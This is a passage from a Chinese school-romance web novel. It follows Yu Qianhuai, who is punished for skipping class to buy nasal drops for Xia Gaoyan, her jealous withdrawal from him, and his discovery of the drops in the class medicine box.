比她预计的时间长了不少。
付完钱之后,她火速往回赶,生怕拖太久吕永昌回办公室了。
不知道怎的,她隐隐有种不祥的预感。
于是以最快速度跑过了商业街,翻上了院墙。
然而不幸的是,墨菲定理还是生效了。
刚从小卖部出去,就收到金铭给她发的信息。
说是吕永昌来教室发现了她不在座位上,问了舍管阿姨也没见她进寝室,让她回去之后去一趟办公室。
根据金铭的描述,吕永昌看着非常生气,是“哼”地一声离开了教室。
虞浅怀仰天长叹,想留个好学生的印象是不可能的了。
她突然想摆烂,反正也快到教学楼了,干嘛急着去挨骂。
于是干脆放慢了脚步。
进入教学楼之后,虞浅怀把那支滴剂放进牛仔裤的内袋里藏好。
不一会儿,滴剂的外包装就覆上了她的体温。
她面不改色优哉游哉地上了楼,甚至哼起了小曲。
作为办公室常客,她的厚脸皮作为第一技能弹了出来,保护着她的情绪。
吕永昌的办公室在英语老师的前面。
要去吕永昌那就必定会途经杨蓉老师的办公室。
不巧的是,虞浅怀的耳朵恰好非常灵敏,经过那间办公室的时候。
她听到里面传来夏高严和温念热切的交谈声。
“谢谢你呀!听你说了这些,我感觉心情好多了,以前我考物理的时候总因为前面的小题做不出来就开始自暴自弃,看到大题就更是紧张,一整个发懵,哈哈哈。”
“没事,放轻松点。”
“对了,我那里还有一些学姐留给我的英语资料,是重点笔记总结,你要吗?”
“可以啊,可以的。那先谢了。”
“没事没事,别客气。对了,你加我微信吧,我发给你,那是电子版的。”
“哦,好。”
虞浅怀不要脸地站在门口听了一会儿。
心里一寸一寸地变冷。
怎么她才走一个晚上,夏高严突然就和温念这么熟了?
虽然也没说什么过分的话。
但是——
但是——
唉,其实她也不知道自己在但是什么。
也许一切都是她自作多情吧。
也许他就是欧气爆棚抽中了那款特殊印章,发现没什么用就送给她了而已。
她到底在脑补些什么啊?
还想着给他回礼,她又不了解他。
这么久没联系,万一人家早就换成进口药了呢?再或者人家就用惯国产的呢?
当然,最最重要的是,夏高严一开始就说了“回来是为了考清华”。
现在他身为物理课代表和英语课代表一起交流学习经验,不是很正常吗?
也不知道她在膈应个什么劲。
虞浅怀越想越烦躁,好像吃了一整只柠檬,又酸又涩。
后面的话她听不下去了,只迈开步子心灰意冷地朝老吕的办公室走了过去。
就在她推开吕永昌办公室门的时候,夏高严正好推开了杨蓉那扇办公室的门。
一进一出。
一冷一热。
只是不知道为什么,他突然朝后面看了一眼。
16. 她想
那边的人影猛地从门口消失。
他只看到一缕晃动的发尾。
该不会是虞浅怀吧?
夏高严心里突然闪过这个念头。
温念也随着夏高严回了一下头,但什么也没看见。
她今晚心情挺美,不仅和学霸聊了这么多,还加了他的微信。
夏高严则带着一丝疑虑,一声不吭地快步走回了教室,几乎忘记了身后的温念。
进到教室后,他马上朝虞浅怀的座位看了一眼。
果然没在。
他叹了口气,把刚拿到的试卷放进文件袋里,准备下课之后去复印。
然后继续整理其他题目。
温念回到座位后,周红一脸八卦地碰了下她的胳膊。
“哟哟,进展不错呀!给你点个赞。”
刚刚她眼睁睁地看着二人一前一后地进了教室。
温念没说话,她捋了一下耳发,红着脸把椅子往前紧了紧。
她看了一眼教室后门,确认没老师在之后掏出了手机。
可是界面干干净净。
夏高严还没有通过她的好友申请。
因为刚刚他没有带手机,所以是她单方面加的他。
周红见她攥着个手机发呆,干咳两声道。
“啧啧,加好友了吧?”
温念抿唇道:“嗯,还没通过。”
“急什么,迟早的事儿。”周红笑得有些暧昧。
空等了一会儿,温念抬头看了一眼夏高严的背影。
男生垂着头,好像在做作业。
她按下了锁屏键,把手机放回桌里。
**
办公室里。
虞浅怀和吕永昌不动声色地展开了一场小型拉锯战。
第一回合。
吕永昌眯起眼睛看着她。
“你说你回寝室拿药了,那为什么宿管阿姨那里没有登记你的名字?”
虞浅怀面不改色道。
“我突然想起宿舍里没有那种药,所以就直接去医务室拿的。”
第一回合,险胜。
第二回合。
吕永昌思考要不要发动求证医务室的外援技能,但他决定先给她个自证的机会。
“那请问你去医务室开的什么药呢?”
虞浅怀立刻把内袋的鼻炎滴剂拿了出来。
“这个。”
吕永昌瞳孔微动,没想到她还真能拿出药来?
他把滴剂接了过去,放在手里仔细端详。
片刻后,他冷不防地抬头。
“你不是说你肚子疼吗?怎么拿的是这个药?”
第二回合,惜败。
第三回合。
虞浅怀摸了摸鼻子。
“肚子疼的药我当场就吃了,这个是我顺便让医生开的。”
吕永昌嗤笑了一声。
“那你刚刚怎么不说你还开了肚子疼的药?更何况这么高级的药,我就没在校医务室见过,骗人吧你?!”
第三回合,K.O。
虞浅怀百口莫辩。
不是,真的很难解释为啥要逃课去买这个玩意儿啊……
她后悔死了,尤其想起刚刚在杨老师办公室门口听到的话,简直恨不得抽自己两个嘴巴子。
吕永昌看她偃旗息鼓了,开始板起脸教训她。
“作业做完了也不是逃课的理由!你已经十八岁,不是小孩子了!这么喜欢自由,你干脆高考那天直接去考算了,还念什么复读班?”
吕永昌把茶杯往办公桌上“砰”地一震,虞浅怀的肩膀跟着一抖。
“我管你以前是哪尊大佛,这里没有竞赛,也没有奖牌,更没有特殊待遇!只有一条——就是复习。除了复习,还是复习。”
“来我的班,就要遵守我的规矩,虞浅怀,把你的脾性收一收。”
虞浅怀一言不发地听着,心里特别憋屈。
她很不爽。
不是对老吕不爽,是对夏高严不爽。
是的,她在迁怒他。
“身为纪律委员带头逃课,罚一个星期清洁。”
吕永昌宣布了惩罚措施。
虞浅怀撇了撇嘴,顶嘴道。
“您不如直接把我撤职算了,费那事干嘛?”
吕永昌眉头一挑,提高声音道。
“你逃课还有理了?!”
虞浅怀死皮赖脸地看着地面,毫无悔改之意。
“砰!”
吕永昌把水杯再次重重地磕了下。
“既然你这么大本事,那从今天起,你来当这个班主任好不好?!”
虞浅怀垂下头去,不再说话。
师生二人就这么无言地对峙着,谁也不肯让步。
吕永昌喝了口水,把气给捋顺了,平静开口:“你是不是发自内心觉得你逃课没错?”
虞浅怀沉默回应。
吕永昌继续道。
“隔壁实验附中的学生,清北录取率全市第一,你知道他们的尖子班是怎么布置作业的吗?比我们多好几倍!但是那些作业都可以选着做,从来不用做完,你甚至一科都不用做!老师也不会说你,是不是很符合你的自由标准?”
虞浅怀稍微抬起了眼睛。
“你真的达到那种境界了吗?可惜你连第一名的分数都没达到!”
“我当然知道你,高考失败,但优越感还是有的,觉得自己是偏才,不愁门路。如果你真的这么想,那就错了。高考只是一个起点,就算你侥幸进去了,也不代表你和别人在同一起跑线上。”
“同色的校服是最后一样保护你们平等的东西。”
“我说这些不是为了打击你,是想告诉你,任何时候都不要浪费自己的聪明才智。”
“拿出决心冲击名校,才是你复读一年该做的事!而不是带着现有的成绩沾沾自喜、混吃等死!”
名校?
指的是清北吗?
虞浅怀其实从来都没有这么远大的志向。
她一直觉得考上一个听着有排面的学校就可以了。
与她之前和宋佑斯谈恋爱同理。
校草男友就让她有排面。
而且她懒散惯了,以她现在的分数,清北于她来说无异于珠穆朗玛峰那么高。
夏高严还可能冲一冲,她就算了吧。
吕永昌看她陷入了思考,好像在认真考虑他说的事,马上趁热打铁道。
“如果你下次考试总分进步30分以上,那你就不用再当纪律委员了。”
虞浅怀猛地抬起头来。
“真的?”
吕永昌点头。
“嗯,一言为定。”
他话锋一转:“但这次逃课的惩罚不能免。一周清洁,一天都不能少。”
虞浅怀叹了口气。
“……好吧。”
此次拉锯战暂时落下帷幕,以虞浅怀落败而告终。
**
回去的路上,已经下课了。
走廊上喧哗不断。
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虞浅怀在一片嘈杂声中思考吕永昌说的话。
但刚踏进教室的门,有人就立刻迎了上来,打断了她的思路。
那是他们班一个叫陈浩的男生。
这个陈浩好像已经是第二年复读了。
一脸的痘外加身上的赘肉,给人一种邋遢颓废的感觉。
“纪委,明天怎么又是我做清洁?你是不是弄错了啊?”
对方脸上的表情很急切。
虞浅怀看了他一眼,从讲台底下取出了记名字的本子。
上面清清楚楚地写着他昨天和上周四都迟到了,按最近的迟到人数来排,他正好排到明天。
“你昨天和上周四都迟到了啊,明天当然该你做清洁。”
她把本子递给他。
陈浩拿过本子扫了一眼,狡辩道。
“我觉得是你弄错了吧……?有没有可能我只有昨天迟到了呢?上周四那不是我吧……要不你再仔细回忆一下?”
虞浅怀火气“蹭”地一下就上来了。
她生平最讨厌别人冤枉她了,就隔了个考试而已,他就想把人忽悠成傻子!简直侮辱她的智商。
她从陈浩手里抢过本子,“啪”地一声拍在讲台上。
“你在说什么屁话?!”
她提高声音,指着他的鼻子道。
“你那天早上进门的时候还想求我别记,我没理你,现在居然直接颠倒黑白不想认账了?有病吧你?!”
陈浩脸上红一阵白一阵,见讹诈不成,他突然扯着嗓子吼道。
“那又怎样?你作为纪律委员无故逃课什么惩罚都没有!凭什么我们就要老老实实做清洁?你很特殊吗?而且你摸底考试突然猛涨100分,谁知道你用了什么手段?!”
虞浅怀气得满脸涨红。
今天本来就心情不好,又碰上这种小人,真是倒了大霉。
教室里还没走的人纷纷往这边看热闹。
祁韦听见争吵声,立刻走上了讲台。
“怎么了?”
见虞浅怀被气得说不出话,祁韦马上过来主持大局。
他拿过讲台上的本子,问陈浩。
“什么情况?你是觉得清洁安排不合理吗?”
陈浩见祁韦来了,气势上立刻自动短了三分,态度也不像刚刚那样咄咄逼人。
“啊哈,没事班长,有点误会!误会!”
虞浅怀啐了一口。
“误会个屁!他不想做清洁,还诬陷我考试作弊!”
祁韦盯着陈浩,观察他的表情。
“你是明天想请假吗?没事,实在没空的话也可以帮你往后调一下。”
虞浅怀抱着手插了一句:“凭什么?”
祁韦用手背轻轻碰了一下她的手臂,示意她先别说话。
陈浩像抓住救星似的。
“对对,我……我明天下午出校有点事,等做完清洁的话就太晚了啊,班长大人麻烦你帮我调一下吧,感激不尽。”
虞浅怀觉得这人好恶心,对她的态度和对祁韦的态度截然不同。
完全是看人下菜碟。
她不等祁韦发话,径直离开了讲台,走的时候还故意撞了一下陈浩的肩。
等她回到座位坐下来,感觉裤兜里有东西硌得慌。
伸手一摸,正是那只该死的滴剂。
虞浅怀立刻掏了出来,再次去到讲台,面无表情地把滴剂丢进了公共药箱里。
祁韦在背后叫她。
“虞同学。”
17. 她不
虞浅怀不耐烦地回头。
“怎么了?”
陈浩已经被打发走了,祁韦拿着本子从讲台那头走过来,他扶了扶眼镜道。
“我把他安排到周五了。”
虞浅怀冷淡地说了句。
“随便。”
许是觉得祁韦无辜,她又缓了缓神色,目光从他脸上掠过。
“谢谢你。”
祁韦唇角轻牵:“没事。”
虞浅怀抱臂走下讲台,祁韦追在后面。
“一起走吗?”
她侧了下头:“都可以。”
祁韦等她收拾好东西,两人一起出了教室。
出门前,虞浅怀在黑板的清洁名单后面加上了自己的名字。
她今天情绪低落,一路上不怎么说话,祁韦努力活跃气氛。
“你这次进步好大。”
她眸光平静,古井无波道。
“因为我高考本来就是意外,平时考试和这差不多。”
“怪不得,”祁韦恍然大悟,“我就说嘛,怎么可能那么差。”
他这话虽有些奉承的意味,但内心其实暗暗震惊。
没想到虞浅怀的实力比他想象中强多了,只随便一考就不比差他多少分了。
祁韦突然感受到了某种危机。
但奇怪的是,他反倒觉得她更有魅力了。
他觉得这个女孩好像那种一直给他惊喜的礼物盒子,今天打开是这样,明天打开又是那样,永远不知道下一次是什么。
两人走到四楼和三楼的交界处,一个清瘦颀长的身影正款款上楼。
夏高严迈着他的一双大长腿,一步一步走上阴凉的台阶。
手里还攥着那张复印好的卷子。
虞浅怀见是他,面色微微一怔。
她一双峨眉轻拧,心里升腾起一股躁意。
夏高严猝不及防撞上她的目光。
清润眼眸刚盈出的灼热立刻被她身侧的人浇了个通透。
怎么又是祁韦?
一股失落涌上心头。
祁韦大方地打招呼。
“夏同学,这么晚了还没回去吗?”
夏高严淡淡回应。
“嗯,复印了点东西。”
祁韦眼尖地看见了卷头上的水印。
“哟,是扬帆的卷子吗?这么早就开始刷题了,牛。”
祁韦给他竖了个大拇指。
夏高严勉强勾勾唇角。
心早已不在这卷子上面。
虞浅怀从试卷上移开目光,胸中的烦躁愈发强烈。
这个什么扬帆模拟题,怕不是他今天在温念那里讨到的“秘籍”。
有了英语课代表的助攻,学习都变积极了,不然怎么这么晚还去复印卷子?
她别开目光,刻意走快几步,和祁韦拉开三四个台阶的距离。
祁韦紧随着虞浅怀的步伐节奏,赶紧和夏高严告别。
“那我们先走了啊,拜拜夏同学。”
听见这个称呼,夏高严心头一紧。
“我们”?
“他们”?
他敷衍地点点头,木然地走完台阶,拐进走廊。
等他回到教室的时候,才发现由于刚刚指间无意识的用力,卷边已经被他捏得变了形,变得皱皱巴巴的。
“同学,我要关灯了,你什么时候走?”
值日的同学在讲台边上问他。
夏高严抬头。
“你走吧,我来关就好。”
“那好吧。”值日生背上书包,从前门离开。
对方走后,夏高严的目光落在黑板角落的清洁名单上,他发现末尾处增加了虞浅怀的名字。
整张名单歪歪扭扭,像小学生写的。
他看了一会儿,最终垂下头,把弄皱的卷子一点一点地抚平。
**
从教室到教学楼门口的距离不算很远,所以祁韦还没弄明白虞浅怀为啥逃课两人就告了别。
其实她也不想让他弄清楚,所以故意一句话拐十八个弯地答他。
祁韦这个人,目的性太强,太急于想要了解她了。
这让她有点退缩。
自从学业爱情双失败之后,虞浅怀就从自信型人格转变为回避型人格。
这个问题在感情上尤为严重。
在被宋佑斯羞辱式分手的那段时间,她甚至连镜子都不敢照了。
走在路上觉得每个人都比她好看,比她优秀,比她出众。
就算碰到客观上确实不如她的人,她也能畅想别人的美好人生。
觉得平凡的人亦有平淡的幸福。
世界在上升,只有她在下沉。
自己那所谓的优秀,不过是不具名的沧海一粟,被水轻轻一淹就没了。
所以那天晚上,她是带着一种很复杂的感情睡了夏高严的。
那时她吐了整整一个马桶,在酒店的床上瑟瑟发抖地裹着被子,感觉下一秒就要去见太姥。
她看着寸步不离地守着她的夏高严。
看见他布满青筋的白皙的手,还有那双因为担忧而憔悴的湿漉漉的眼睛。
那修长笔直但憋屈地折在矮凳前的腿,还有微微敞开能看到锁骨的领口。
虞浅怀突然萌生了一个大胆的想法。
她眉头轻蹙,嗓音嘶哑地问他。
“夏高严,在我死之前,你能不能答应我一个要求?”
“什么要求?”对方那张清秀的脸立刻关切地凑了过来。
虞浅怀看一眼他细直的鼻梁,红着脸道。
“我想尝一下男人的滋味。”
夏高严当时脸上的表情不可谓不精彩。
两人大概沉默了半分钟那么久。
虞浅怀偷偷观察他的神情。
——发现他从震惊到疑惑到羞涩再到沉默。
挣扎许久后,他妥协了。
脸比她还红。
“可以,但你能不能不要死?”男生语气有些认真,“这是前提条件。”
虞浅怀抿唇:“好,那我不死。”
再后来,她就把他从凳子拽到了床上。
她感觉他浑身发抖,比她还抖得厉害。
其实事后想来,虞浅怀也说不清到当时到底是出于一种怎样的情感。
证明自己?报复社会?死前遗愿?甚至是答谢对方的照顾?
可能都有点吧,简直是情绪大杂烩。
一锅乱炖,烈火烹油。
不过唯一比较奇怪的是,那件事,宋佑斯曾经暗示过她不少次,她也没愿意,甚至觉得恶心。
也不知道为什么,换成一个不熟的夏高严,她反倒愿意了。
可能真的是“死前遗愿”吧。
**
虞浅怀回到寝室,发现室友已经睡了。
今天在教室耽误太久。
她轻手轻脚地来到阳台,找到自己的洗漱用品。
一个绿色的杯子,里面装了牙膏和牙刷。
洗脸的时候,她从挂钩上拿下自己的毛巾。
正要往脸上招呼,突然被吓了一跳。
她发现毛巾变得特别脏,仿佛被拿去擦了煤油桶一般。
虞浅怀看着脏兮兮的毛巾,皱起了眉头。
她拿着毛巾去厕所开灯查看,那
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里的灯比较亮一些。
看着那些黑色污渍,她觉得有些奇怪。
这也黑得有点太夸张了……理论上一般的灰尘也没这么黑啊?
片刻后,她灵光一闪,瞬间破案!
应该是她上次直接把洗脸的毛巾来拿来擦头发,然后头发掉色了。
……
……
虞浅怀在心里痛骂Tony一万遍,去衣柜里重新拿了根毛巾出来。
然后把脏毛巾扔进了阳台的垃圾桶里。
这垃圾桶每人每周轮流去倒,这周好像是刘畅负责。
洗漱完之后,她躺到床上,回想今天发生的所有事。
很多人都说男生不太在乎那种事,睡了就睡了,不会觉得多重要,哪怕是第一次。
现在看来,可能是真的。
她和那谁就是睡过一次的关系而已,就算有新的感情也很正常吧?
想到这里,脑中突然划过温念的脸。
温念……似乎挺合适他的?
长相不差,性格也好,和夏高严是一类人,乖乖女和乖乖男。
成绩也不算拉胯,努努力考个重本问题不大。
想着想着,心里却有种说不出的滋味。
其实她也没那么在意,那只是她的“遗愿”而已,虽然后来也没真的去死。
但既然是“遗愿”,就没有一丁点想要以此去束缚对方的想法。
只不过……其实说白了他就不该回来,如果他现在在浙大,他要和谁好关她屁事!
对,就是这样。
虞浅怀翻了个身,气呼呼地鼓了鼓腮帮子。
她才不是那种放不下的人。
无非是他现在老在她面前晃悠,扰乱了她的心神。
虞浅怀闭上眼睛,在心里默念——
心中无男人,拔剑自然神。
为了摆脱纪律委员的身份,她可是要干正事的。
不就是30分?拼了。
夏高严什么的,一边去吧!
以后大不了看见他绕着走。
就这样,虞浅怀逐渐说服了自己,而且逻辑非常自洽。
她决定从明天起,正式疏远夏高严。
**
夏高严还不知道自己被判了“死刑”。
所以第二天放学时,在被虞浅怀当成空气之后,他感到非常奇怪。
今天恰好是他所在的小组值日,虞浅怀作为被罚成员加入其中。
夏高严是组长,但在他安排工作前她就已经自顾自地去擦窗了。
而且完全没有和他打招呼的意思。
虞浅怀把水桶放在脚边,用力拧干毛巾上多余的水。
她把袖子撩到肩膀下面,大幅度地挥舞着手臂,头发随着动作一甩一甩的,感觉那玻璃都要被她擦破。
他欲言又止地看了眼她奋力擦窗的背影,转过头继续分配工作。
“你擦黑板,打扫讲台和倒垃圾。”
“你们三个扫地。”
“你擦门。”
“你……擦窗户。”
被分配擦窗户的同学看了一眼。
“可是虞浅怀已经在擦了诶?”
“你擦后半。”夏高严扶额。
那位同学嘟哝道,“她已经擦到后半了……”
他叹气:“那你擦桌子吧。”
他把拖地留给了自己,那活得等到扫地的同学完成后才开始,所以他现在没什么事做。
夏高严在讲台上看了半天,最终还是按捺不住走了下去。
他来到虞浅怀身边,试探地问她。
“……你擦这么快,是有急事吗?”
18. 她想
虞浅怀用湿抹布使劲摩擦玻璃,玻璃表面发出“咕叽”、“咕叽”的声音。
“没有急事就不能擦得快了吗?”
她连眼皮都没抬一下。
夏高严看着女孩倔强的侧脸,抿了抿唇,他感觉到一股“杀气”。
她今天心情似乎不太好。
男生垂头看了眼地上的桶,里面的水已经变得脏污。
于是他撩起袖子,准备伸手去提。
没想到他刚弯下腰去,那桶瞬间就被移走了。
他连把手没摸到。
虞浅怀像护食一样护着她的桶。
“你不能用别的桶吗?”
夏高严直起身子,两手空垂,表情有些委屈。
“我是想帮你换水。”
虞浅怀睨了他一眼,把桶直接提了起来,径直朝外面走去。
她冷冷扔下一句,“不用。”
女孩暗自腹诽,这家伙又想借着组长名义来做“好人”,她再也不会上当了。
夏高严望着她的背影,攥紧了手心。
他不明白,为什么她突然这么冷漠,而且这冷漠好像从昨晚在楼道里碰到的时候就有迹可循了……
本来还想借机问下她去老吕办公室的事,现在也只能作罢。
夏高严在原地想了半天,也没个头绪。
他看了眼其他正按部就班干活的小组成员,平复了下心情。
然后拔腿朝后门走去,去往公共水池的所在地。
虞浅怀正站在水池旁边洗抹布。
夏高严在距离她一米的地方停了下来。
“浅浅。”他轻声叫她。
女孩拧眉看他:“又怎么了?”
她把桶放进水池里,拧开龙头开始放水。
他走近几步,试探地问:“你今天心情不好吗?”
“没有啊,我心情好得很。”
虞浅怀板着脸搓抹布,面无表情地说。
这下他确定她心情不好了。
虞浅怀在那沉浸式地洗抹布,一不小心忘了桶里还在接水,等她反应过来水都满得差点溢出来了。
她立马过去关了水龙头,神色有点尴尬。
不过这难不倒她,无非就是稍微吃力点,她还是拎得动的。
她走过去提起水桶的扶手,夏高严的手马上搭在了另一边。
“我来吧,很重的。”
“我提得动。”虞浅怀皱眉,“看不起人是不是?”
“没有,”夏高严立刻解释,“我不是那个意思。”
女孩盯着把手,不耐烦道:“那你还不撒手?”
夏高严耳根通红,郁闷地放开了水桶。
虞浅怀把桶提了起来,准备回去。
迈出第一步时,她身子轻轻晃了一下。
嘶,果然有点重……
她咬着牙,提着桶,一步一步地往前走。
“浅浅。”
夏高严再次叫住了她。
她正想发作,没想到对方突然问她。
“为什么祁韦就可以帮你?”
他声量稍高,语气有一点急迫。
虞浅怀终于停了下来,缓缓回头。
发现夏高严正用那种哀怨的眼神盯着她。
她心情有点爆炸。
“你好好考你的清华,关心我干什么?”
夏高严被这句话噎住,愣在那里。
他不知如何是好,只得眼睁睁地看着她提着水桶越走越远。
“组长,桌子擦完了。”
前来洗抹布的女生朝他报告,夏高严这才回过神来,向她点点头。
女生觉得挺奇怪,不明白他空站在这里做什么。
而且联想到刚刚提着桶,一步一趔趄的虞浅怀,就更觉得奇怪了,按理说这种情况都会相互搭把手的。
他居然一点动作都没有。
她暗想,看来二人果然像传说中那样不合。
虞浅怀回到教室继续擦窗,剩得不多了。
她擦到最后一扇的时候,马星河回到了教室。
他看见虞浅怀和别的组一起做清洁,立刻贱兮兮地凑了过来。
“哟,我大纪委怎么也被罚清洁了?”
“关你屁事,”面对马星河,虞浅怀更加不客气,“起开!”
“唉,你怎么不早说?我帮你啊!”
对方说着就要过来抢她的抹布。
“马星河,别逼我骂你。”
男生见她口气不善,立刻停止了动作。
他挠挠头,嘟哝道,“你什么时候迟到的啊?我怎么没印象?”
因为虞浅怀是纪律委员,每天都会早到记名字,按理说她迟到会非常明显。
她觉得烦躁,想赶紧把他打发走。
“不是迟到,”虞浅怀冷声道,“是逃课。”
“我逃课了。”
马星河惊讶地看着她,默了半晌,说了一句“牛逼”。
擦完所有窗户,虞浅怀伸手去提那个装满水的桶,依然是有些吃力。
马星河看不下去,过来帮她。
“我说了不用帮。”她神色愠怒道,“我被罚了一周呢,你要天天来帮我吗?”
他抬眼看她:“……也不是不行?”
“行个屁!”虞浅怀表情不耐,“你到底走不走?”
马星河见她吃了火药一般,最终还是缩回了手。
唉,追女生好难。
**
晚自习的时候,夏高严还在为刚才的事难受着。
他不停地回想着她说的那句话,心里有股闷痛。
马星河也因为不受虞浅怀的待见而无精打采。
不过他没夏高严那么严重,仅仅是因为当舔狗失败而郁闷罢了。
他低头看一眼密密麻麻的数学题,一个头变十个大,决定战略性放弃。
“严哥,可以把数学作业借我抄一下吗?”
夏高严眼神空洞地看着桌面,毫无反应。
“严哥。”
“严哥?”
马星河抬起手,在他眼前晃了一下。
夏高严终于缓过神来。
“严哥,我想借下数学作业。”
“哦,好。”
他拿起桌上的一本练习册给他递了过去。
马星河看了眼封面,顿住了。
“嗯?我是想借数学作业,不是物理。”
他下意识抬眼朝夏高严看过去,发现他神色有些不对劲。
打认识以来,他第一次见他这么不在状态,于是关切地问。
“怎么了严哥?出什么事了吗?”
夏高严眨了下眼睛,“不好意思,”随后落寞地摇摇头,“我没事。”
马星河打量他的表情,调侃道。
“哟,总不能我们大学霸也失恋了吧?”
夏高严神色一紧,他不动声色地问。
“也失恋了是什么意思?还有谁?”
马星河抬头望天,垂头丧气地说道。
“唉,正是马老板我啊!”
他转头看他,眼神幽怨。
“虞浅怀怎么这么难追啊?严哥,你是她同学,那你知道她前男友是怎么追到她的吗?”
夏高严蓦地愣住,心里五味杂陈。
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他收回目光,重新捏好笔,看向眼前的作业,淡淡说了句。
“她前男友是校草。”
马星河瞪大了双眼:“什么?”
没想到下一句更是杀人诛心。
“而且不是他追的虞浅怀,是虞浅怀追的他。”
马星河哭丧着脸道:“完了完了,我简直毫无竞争力啊!”
开学第一天,虞浅怀坐在最后一排和他们大侃特侃的时候,就曾透露过她有前男友。
只是他没想到她前男友居然是校草,更没想到还是她主动追的人家。
夏高严不再和马星河搭话,收了心思闷头做作业。
只是脑里不经意间映出宋佑斯那张痞帅的脸,他心里突然有点酸涩。
她应该就喜欢宋佑斯那样的吧?
可是……祁韦又作何解释?
和宋佑斯截然不同的类型,她似乎也很接纳他的样子。
夏高严正心烦意乱地想着,马星河突然凑过来,猝不及防地问他。
“学霸,你有喜欢的人吗?”
夏高严笔尖一顿,抿唇道。
“……有。”
马星河瞳孔地震,八卦之心骤起。
“谁?谁啊?”
夏高严心跳微微加速。
他只想告诉他自己有喜欢的人,但完全没打算说出她的名字。
于是他把头又转了回去,然后生硬地从嘴里挤出两个字。
“学习。”
“哈?”马星河懵逼。
对方欲盖弥彰地补了一句。
“我喜欢学习。”
马星河反应过来,讪笑了声,“啊哈,你们学霸的口味就是不一样哈。”
他摇摇头,心道这笑话真够冷的。
**
晚自习课间,夏高严上去接水。
公共药箱的位置离饮水机很近。
他不经意地往旁边一瞥,立刻就发现了那只鼻炎滴剂。
因为那药外包装上的“UN”字样非常大,且黄黑相间的颜色也很醒目。
他接好水后,走过去拿了起来,细细端详。
前几天母亲给他发了消息,让他把鼻炎的药换成这个,顺便拍了包装图发过来。
他还没来得及去买,居然就在班里的公共药箱里看到了。
而且这药好像挺贵的,他妈拍完图还给他发了200的红包过来。
是谁捐的呢?夏高严有些好奇。
于是他拿着药去了生活委员王倩那里。
“王倩,你知道这药是谁放进去的吗?”
王倩伸头看了一眼,皱着眉嘟哝道。
“哎呀,怎么个个都做好事不留名!我都说了捐药要来登记……真是拿你们没办法。”
她甩甩手道:“我也不知道。”
前排的祁韦听见动静,回头看了眼。
“是虞浅怀捐的。”
那天晚上他就在讲台上面,亲眼看见她手里拿着一个黑黑黄黄的药上了讲台,然后扔进了药箱,应该就是它了。
夏高严头皮一炸,脑门好似过电。
他站在王倩的座位旁边一动不动,像个雕塑一样。
祁韦起身出去上厕所,见他神情古怪,拍了下他的肩道。
“怎么了?”
夏高严摇摇头。
“没什么。”
片刻后,他拿着那支药回到了座位上。
男生抬头看向虞浅怀的座位。
没人。
他想了一会儿,拿出手机给药拍了张照片,然后给虞浅怀发了过去。
“浅,这药是你买的吗?”
19. 她不
可惜那条消息发出去之后,一直没有得到回音。
因为虞浅怀自从逃课被罚之后,就把手机从震动调成了静音。
目的主要是为了减少看手机的频次,避免上课期间听见震动声就忍不住去看,然后被老吕逮到。
她可不想二进宫了。
下自习后,虞浅怀忙着和金铭聊天,直接把手机丢进包里,两人一起嘻嘻哈哈出了教室。
这层楼全是高三的学生,随着留堂第三节自习的人逐渐增多,下课后的走廊也越发拥挤。
过道里人头攒动,摩肩接踵。
空气里的二氧化碳含量超标,温热又潮湿。
金铭在脸颊旁边挥着手扇风,她忍不住吐槽道。
“今天好闷热啊!”
虞浅怀摸了一下自己的后颈,上面紧紧黏着一层薄汗。
后颈窝的发丝凝成一缕一缕的形状,贴在了脖子上。
金铭更是身上的贴身T恤都直接汗湿了。
“我们快点下楼吧,”虞浅怀提议道,“走廊空气太不好了,又潮又热。”
金铭立刻点头附议。
于是虞浅怀拉着她的手,看准人群里的缝隙,找机会斜着肩膀挤进去。
两个女孩像鱼一样穿梭其中,很快就消失在了楼道里。
由于二人走得太快,这就导致上一秒还能瞅见她一抹背影的夏高严,下一秒就遍寻不见她的踪影。
夏高严一只手攥着那支滴剂,一只手拿着自己的手机,还不时往微信界面看一眼。
可惜依然没得到回复。
他感觉有点挫败,因为他想要去问问清楚。
就算她不是为他买的,他也想去说上一声谢谢。
因为他正好不用跑药店了。
下楼时,他把药小心翼翼地放进了书包内层,然后随着人流匆匆走出了教学楼。
外面的空气里弥漫着一股湿润而略带土腥味的潮气。
黑色的乌云在夜空里悄悄聚拢,酝酿着一场即将倾泻而出的洗礼。
长宁市自入秋以来,天气一直反反复复,躁动不安。
而今晚,冬日使者带着她的法器亲临长空。
势必要镇压住这只蹦跶了一个月之久的秋老虎。
夏高严在教学楼前的雕像张望了下,仍然没找到虞浅怀的身影。
他望着那些去往校门口反方向的,三五成群的住校生的背影,眼神里透露出一股子执拗。
他思忖片刻,最后轻咬牙关,毅然决然地朝着女生宿舍的方向走了过去。
一边走,一边给虞浅怀拨了个微信电话。
**
虞浅怀回到寝室,发现宿舍内空无一人。
抛开学妹们经常会出现和她们时间不同步的情况。
但刘畅几乎每次都比她回来得早。
今天她居然不在,让她有点意外。
她把包搁到桌上,伸手去摸手机。
指尖刚触到手机,寝室门就被打开了。
刘畅提着一兜子晾干的被褥被套进了屋,胳膊上还搭着一件。
啧,刘畅果然还是比她早。
虞浅怀收回目光,拿出手机解开锁屏。
她看到微信右上角出现了一个“5”的数字角标。
正准备点进去,刘畅居然破天荒地叫了她一声。
“虞浅怀。”
虞浅怀放下手机,回过头去。
只见刘畅面色不佳地朝她走了过来,手上还拿着刚刚搭在胳膊上的那条床单。
对方皱着眉头问她。
“你周末在宿舍的水池里染头发了吗?”
虞浅怀瞟了一眼她手里的床单,抬眼道。
“没有啊。”
刘畅唇线抿直,把床单翻了个面,递给她看。
虞浅怀垂头,看到浅蓝的床单上有几簇黑色的污渍。
看上去很像是染发剂造成的,和之前她丢掉的那条脏毛巾有得一拼。
“这条床单是我唯一一样在宿舍里洗的东西,结果就变成这样了。”
女生的语气变得冷硬,对方眼神犀利地扫视着她的脸。
“我看到你扔在垃圾桶里的毛巾了,你还说你没染?”
既然已经有了结论,又何必再来问她?
虞浅怀叹了口气,表情有些无辜。
“那毛巾是我洗头的时候拿错了,擦了头发才变黑的,我确实没自己染过发,都是去理发店的。”
“不过——”
她目光重新落在那张床单上。
“不过我确实在水池里搓过我的干发帽,有可能不小心弄脏了水池。”
虞浅怀再次在心里痛骂一万遍Tony。
“抱歉,”她坦然道,“床单多少钱?我可以赔你。”
刘畅打量了她一会儿,仿佛在确认她是否说谎。
最后她瞥开目光,淡淡说了句,“不用了。”
她的话音刚落,阳台外面突然响起一声惊天巨雷,伴随着一道耀眼的闪电从空中猛地劈了下来。
紧接着豆大的雨点从四面八方大颗大颗地砸落下来。
